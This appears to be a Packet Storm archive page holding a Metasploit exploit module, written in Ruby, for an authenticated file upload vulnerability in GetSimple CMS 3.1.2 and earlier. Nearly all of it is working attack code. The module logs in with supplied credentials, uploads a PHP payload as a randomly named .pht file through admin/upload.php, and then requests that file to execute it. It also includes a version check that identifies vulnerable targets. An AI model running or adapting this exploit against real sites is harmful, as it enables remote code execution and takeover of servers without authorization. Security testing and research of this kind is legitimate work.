exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

GetSimpleCMS PHP File Upload

GetSimpleCMS PHP File Upload
Posted Sep 19, 2014
Authored by Ahmed Elhady Mohamed | Site metasploit.com

This Metasploit module exploits a file upload vulnerability in GetSimple CMS. By abusing the upload.php file, a malicious authenticated user can upload an arbitrary file, including PHP code, which results in arbitrary code execution.

tags | exploit, arbitrary, php, code execution, file upload
advisories | OSVDB-93034
SHA-256 | 93b94988b458fdd8ae88cd22f63db59e3b576b4062534971e43a8c37439ee4e2

GetSimpleCMS PHP File Upload

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'GetSimpleCMS PHP File Upload Vulnerability',
'Description' => %q{
This module exploits a file upload vulnerability in GetSimple CMS. By abusing the
upload.php file, a malicious authenticated user can upload an arbitrary file,
including PHP code, which results in arbitrary code execution.
},
'Author' =>
[
'Ahmed Elhady Mohamed'
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '25405'],
['OSVDB', '93034']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Generic (PHP Payload)', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 04 2014'
))

register_options([
OptString.new('TARGETURI', [true, 'The full URI path to GetSimplecms', '/GetSimpleCMS']),
OptString.new('USERNAME', [true, 'The username that will be used for authentication process']),
OptString.new('PASSWORD', [true, 'The right password for the provided username'])
], self.class)
end

def send_request_auth
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path.to_s, "admin", "index.php"),
'vars_post' => {
'userid' => "#{datastore['USERNAME']}",
'pwd' => "#{datastore['PASSWORD']}",
'submitted' => 'Login'
}
})

res
end

def send_request_upload(payload_name, cookie_http_header)
data = Rex::MIME::Message.new
data.add_part("<?php #{payload.encoded} ?>", 'application/x-httpd-php', nil, "form-data; name=\"file[]\"; filename=\"#{payload_name}\"")
data.add_part("Upload", nil, nil, "form-data; name=\"submit\"")

data_post = data.to_s

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path.to_s, "admin", "upload.php"),
'vars_get' => { 'path' =>'' },
'cookie' => cookie_http_header,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post
})

res
end

def check
res = send_request_cgi({'uri' => normalize_uri(target_uri.path.to_s, 'admin', 'index.php')})

if res && res.code == 200 && res.body && res.body.to_s =~ /GetSimple CMS.*Version\s*([0-9\.]+)/
version = $1
else
return Exploit::CheckCode::Unknown
end

print_status("#{peer} - Version #{version} found")

if Gem::Version.new(version) <= Gem::Version.new('3.1.2')
return Exploit::CheckCode::Appears
end

Exploit::CheckCode::Safe
end

def exploit
print_status("#{peer} - Authenticating...")
res = send_request_auth

if res && res.code == 302
print_status("#{peer} - The authentication process is done successfully!")
else
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
end

print_status("#{peer} - Extracting Cookies Information...")
cookie = res.get_cookies
if cookie.blank?
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
end

print_status("#{peer} - Uploading payload...")
payload_name = rand_text_alpha_lower(rand(10) + 5) + '.pht'
res = send_request_upload(payload_name, cookie)

if res && res.code == 200 && res.body && res.body.to_s =~ /Success! File location.*>.*#{target_uri.path.to_s}(.*)#{payload_name}</
upload_path = $1
print_good("#{peer} - File uploaded to #{upload_path}")
register_file_for_cleanup(payload_name)
else
fail_with(Failure::Unknown, "#{peer} - Upload failed")
end

print_status("#{peer} - Executing payload...")
send_request_raw({
'uri' => normalize_uri(target_uri.path.to_s, upload_path, payload_name),
'method' => 'GET'
}, 5)
end

end
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close